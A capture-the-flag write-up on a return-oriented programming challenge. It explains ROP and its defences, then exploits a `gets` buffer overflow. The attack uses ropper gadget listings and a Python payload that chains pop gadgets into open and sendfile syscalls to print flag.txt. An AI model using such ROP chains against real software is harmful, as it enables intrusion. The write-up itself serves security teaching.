Rest On Peace (ROP) 5.0

Background

Return-oriented programming (ROP) (1) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.
In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine's memory, called "gadgets"(2). Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.
Detect ROP attacks:

- Observe the execution of small set of instructions ending with a ret;
- Observe pops of return addresses all pointing at the same memory space;

Prevent ROP attacks:

- Return-less approach: tell the compiler not to use the ret instruction;

Checkoway et al. (3) demonstrated that return-oriented programming (ROP) on x86 and ARM architectures can be performed without a traditional return instruction. They used existing instruction sequences in memory to mimic a return's behavior, utilizing jump and pop sequences on x86, and load and branch sequences on ARM.

Vulnerability

The vulnerability resize in the fact that the program uses a `gets` function to read user inputs. This function makes the program vulnerable to buffer overflow attacks so an attacker can overwrite the return address of the main, chain different gadgets together and obtain the flag.
The exploit is made easier by the fact that the standard protection are not enabled (the binary is not PIE and the canary protection is disabled) **and** also the return-less approach is not used in this case.

Solution

The source code of the challenge is the same of the ones seen in the laboratory.

To solve the challenge I first check the gadgets present in the binary using Ropper:

```
❯ ropper -f bin | grep pop
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
...
0x000000000040119c: pop r10; ret;
0x000000000040111d: pop rbp; ret;
0x0000000000401196: pop rdi; ret;
0x000000000040119a: pop rdx; ret;
0x0000000000401198: pop rsi; ret;
...
❯ ropper -f bin | grep sys
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
...
0x00000000004011a9: mov rax, 0x28; syscall; nop; pop rbp; ret;
0x000000000040119f: mov rax, 2; syscall; ret;
...
```

This means we'll only be able to execute syscalls number 40, and 2, which are `sendfile` and `open`, respectively.

The `sendfile` syscall (4) takes four arguments:

```
ssize_t sendfile(int _out_fd_, int _in_fd_, off_t *_Nullable, _offset_,
size_t _count_);
```

- The first argument is the output file descriptor and it is passed in the `rdi` register;
- The second argument is the input file descriptor and it is passed in the `rsi` register;
- The third argument is the offset where the syscall has to start and it is passed in the `rdx` register;
- The forth argument is the count of how many chars the syscall has to send and it is passed in the `r10` register.

The `open` syscall (5) takes three arguments:

```
int open(const char *pathname, int flags, mode_t mode);
```

- The first argument is the path to the file to be opened and it is passed in the `rdi` register.
- The second argument is the flags to be used when opening the file and it is passed in the `rsi` register.

- The third argument is the mode to be used when creating the file and it is passed in the `rdx` register.

Since there is no way to write strings in memory given the fact that the right gadgets to do that are not present in the binary, probably the string `flag.txt` is somewhere in the binary:

```
❯ objdump -s bin | grep "flag.txt"
 404020 666c6167 2e747874 00                 flag.txt.
```

With these information it is possible to write a python script which solve the challenge (6). The script has to write a payload that open the file "*flag.txt*" using the `open` syscall and then send the files' content with the `sendfile` syscall to the `std_out` file descriptor.

```python
# 72 bytes to overwrite the return address
payload = b"A" * offset
# OPEN flag.txt
payload += pop_rdi
payload += flag
payload += pop_rsi
payload += p64(0)
payload += pop_rdx
payload += p64(0)
payload += open_gadget

# SENDFILE content to stdout
payload += pop_rdi
payload += p64(1) # fd of stdout
payload += pop_rsi
payload += p64(6) # fd of flag.txt
payload += pop_rdx
payload += p64(0)
payload += pop_r10
payload += p64(100)
payload += sendfile_gadget
```

References

1. Return Oriented Programming
2. Gadget
3. Jump Oriented Programming
4. sendfile syscall
5. open syscall
6. Solution